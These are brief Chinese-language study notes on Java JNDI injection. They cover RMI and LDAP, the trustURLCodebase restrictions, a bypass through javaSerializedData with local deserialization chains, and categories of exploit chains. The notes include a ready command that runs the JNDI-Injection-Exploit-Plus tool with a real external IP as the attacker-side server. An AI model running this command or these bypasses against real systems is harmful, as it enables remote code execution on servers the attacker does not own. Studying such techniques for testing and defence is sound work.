JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
参考:https://tttang.com/archive/1405/
RMI限制:
com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,即不允许从远程的Codebase加载Reference工厂类,不过没限制本地加载类文件。
LDAP限制:
com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false,导致LDAP远程代码攻击方式开始失效。这里可以利用javaSerializedData属性,当javaSerializedData属性value值不为空时,本地存在反序列化利用链时触发。
JNDI利用分类:
1、远程Reference链
2、本地Reference链
3、反序列化链
版本过高,会导致远程链不能使用
链条利用分类:
1、针对 JDK 版本的 jndi 注入
2、针对中间件包的 jndi 注入
3、针对依赖 jar 包链的 jndi 注入
JDNI 工具利用
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "calc" -A "http://47.238.88.39/#/fastjson"
根据可能存在的中间件,选择不同的攻击链
JNDI Bypass 自动化绕过工具